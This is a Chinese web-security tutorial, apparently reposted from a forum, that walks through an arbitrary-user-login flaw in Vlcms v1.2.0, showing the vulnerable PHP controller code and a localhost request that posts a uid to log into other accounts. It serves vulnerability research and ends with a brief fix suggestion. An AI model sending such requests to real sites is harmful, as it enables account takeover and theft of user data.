WEB安全系列之如何挖掘任意用户登录漏洞

0x01  前言   
     每周两篇文章打卡。坏蛋100块钱都不给我,好坏好坏的。

0x02  什么是任意用户登录漏洞
   几乎每个网站都有自己的会员系统,有会员,就有登录机制,如果可以登录其他用户账户,那么就可以窃取其他用户的资料数据。如果配合上脚本的话,甚至可以批量获取用户的数据。对网站来说,任意用户登录是一个很高危的漏洞。

0x03  实战的案例(白盒测试)
     Vlcmsv1.2.0,就拿这套CMS来说吧。
     vlcms/Application/Media/Controller/MemberController.class.php
     post获取uid传进autoLogin()中

  1. public function res_login(){
  2. parent::autoLogin($_POST['uid']);
  3. echo $this->ajaxReturn(array("status"=>0,"uid"=>$_POST['uid']));
  4. }

复制代码

将id传进entity()。

  1. protected function autoLogin($uid){
  2. $user =$this->entity($uid);
  3. /* 记录登录SESSION和COOKIES */
  4. $auth = array(
  5. 'mid'             => $user['id'],
  6. 'account'             => $user['account'],
  7. 'nickname'        => $user['nickname'],
  8. 'balance'         => $user['balance'],
  9. 'last_login_time' => $user['login_time'],
  10. );
  11. session('member_auth', $auth);
  12. session('member_auth_sign', data_auth_sign($auth));
  13. }

复制代码

entity中直接根据id查询账户了。。所以只需一个id就能登录任意用户。

  1. protected function entity($id){
  2. $data = M('User','tab_')->find($id);
  3. if(empty($data)){
  4. return false;
  5. }
  6. return $data;
  7. }

复制代码

0x04  实战的案例(黑盒测试)
     http://127.0.0.1/vlcms/index.php?s=/member/res_login/
     POST:uid=60

访问后,返回一串代码。
      <ignore_js_op>

接着访问http://127.0.0.1/vlcms/index.php?s=/member/,可以看到,已经成功登录账户

<ignore_js_op> 
     访问:post:uid=61
      <ignore_js_op> 
     接着访问http://127.0.0.1/vlcms/index.php?s=/member/

成功登录uid为61的账户

<ignore_js_op>

0x05  修复建议
     不要用id来判断账户身份。

本文来源:http://bbs.ichunqiu.com/thread-8655-1-1.html?from=bokeyuan

WEB安全系列之如何挖掘任意用户登录漏洞的更多相关文章

  1. 通达OA任意用户登录 漏洞复现

    0x00 漏洞简介 通达OA国内常用的办公系统,使用群体,大小公司都可以,其此次安全更新修复的高危漏洞为任意用户登录漏洞.攻击者在远程且未经授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系 ...

  2. 通达OA任意用户登录漏洞复现

    前言 今年hw挺火爆的,第一天上来就放王炸,直接搞得hw暂停 昨天晚上无聊,复现了一下通达oa的洞,也有现成的exp可以使用,比较简单 0x00 漏洞概述 通达OA是一套国内常用的办公系统,此次发现的 ...

  3. 通达OA 前台任意用户登录漏洞复现

    漏洞描述 通达OA是一套办公系统.通达OA官方于4月17日发布安全更新.经分析,在该次安全更新中修复了包括任意用户登录在内的高危漏洞.攻击者通过构造恶意请求,可以直接绕过登录验证逻辑,伪装为系统管理身 ...

  4. Owin+ASP.NET Identity浅析系列(一)用户登录注册

    在今天,读书有时是件“麻烦”事.它需要你付出时间,付出精力,还要付出一份心境.--仅以<Owin+ASP.NET Identity浅析系列>来祭奠那逝去的…… 使用VS2015创建MVC项 ...

  5. 【Qt编程】基于Qt的词典开发系列&lt;八&gt;--用户登录及API调用的实现

    在上一篇文章<调用网络API>中,我仅仅讲述了怎样直观的使用API接口以及调用API后返回的结果,本文则从程序实现的角度来实现API的调用.当然本程序的实现也是借助于扇贝网的API接口文档 ...

  6. 黄聪:保持web页面生成的app一直处于用户登录状态不退出

    用户登录了会员中心,怎么保持登录状态! 由于封壳的内核及组件肯定没有浏览器APP应用那么强大,所以目前暂时的解决方案是: jquery.cookie.js  本文转载至:https://www.cnb ...

  7. Linux系列(22) - 用户登录查看命令

    需求 查看当前在线用户情况:历史用户登录情况 W 格式 [root@localhost ~]# w:查看所有登录用户信息 [root@localhost ~]# w [用户名]:查看指定登录用户信息 ...

  8. XMPP系列(二)----用户注册和用户登录功能

    1.创建一个新工程 2.导入XMPP框架 最新的XMPP框架下载地址:https://github.com/robbiehanson/XMPPFramework 将XMPP的几个文件夹拖进工程中,需要 ...

  9. phpdisk 盲注 &前台任意用户登录

    代码审核 文件 plugins\phpdisk_client\passport.php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $str ...

随机推荐

  1. Loadrunner测试数据库性能,测试SQL语句的脚本例子

    Loadrunner与SQL Server的操作可以通过录制的方式来实现,但本文还是通过直接调用loadrunner本身的function来实现sql语句的操作, 主要用到的是lr_db_connec ...

  2. poj1988 Cube Stacking 带权并查集

    题目链接:http://poj.org/problem?id=1988 题意:有n个方块,编号为1-n,现在存在两种操作: M  i  j  将编号为i的方块所在的那一堆方块移到编号为j的方块所在的那 ...

  3. python-shutil学习

    shutil:高级的 文件.文件夹.压缩包 处理模块 1. shutil.copyfileobj(fsrc, fdst[, length])(copyfileobj方法只会拷贝文件内容)将文件内容拷贝 ...

  4. Nginx+IIS+asp.net mvc 实现负载均衡示例

    一.Nginx官网 http://nginx.org/ 二.下载并安装Nginx 下载地址:http://nginx.org/en/download.html 启动Nginx,启动成功的话可以在任务管 ...

  5. python中thread的setDaemon、join的用法的代码

    下面内容是关于python中thread的setDaemon.join的用法的内容. #! /usr/bin/env python import threading import time class ...

  6. 微服务(Microservices)【翻译】

    微服务 “微服务架构(Microservice Architecture)”一词在过去几年里广泛的传播,它用于描述一种设计应用程序的特别方式,作为一套独立可部署的服务.目前,这种架构方式还没有准确的定 ...

  7. 浅谈Java语言中ArrayList和HashSet的区别

    Java语言中ArrayList和HashSet的区别 2019-04-10   13:22:49 一.基本区别 首先一起看个实例,其代码如下: package com.MrZ_baby.com; i ...

  8. Android进阶:六、在子线程中直接使用 Toast 及其原理

    一般我们都把Toast当做一个UI控件在主线程显示.但是有时候非想在子线程中显示Toast,就会使用Handler切换到主线程显示. 但是子线程中真的不能直接显示Toast吗? 答案是:当然可以. 那 ...

  9. AAC编码学习

    AAC音频编码 https://www.jianshu.com/p/af0165f923e9 https://blog.csdn.net/u013427969/article/details/5309 ...

  10. Vue-Router嵌套路由

    1:查看router-view所对应的位置,是属于顶级出口还是存在于某个组件当中 2:当router-view存在于某个组件当中时 const User = { template: ` <div ...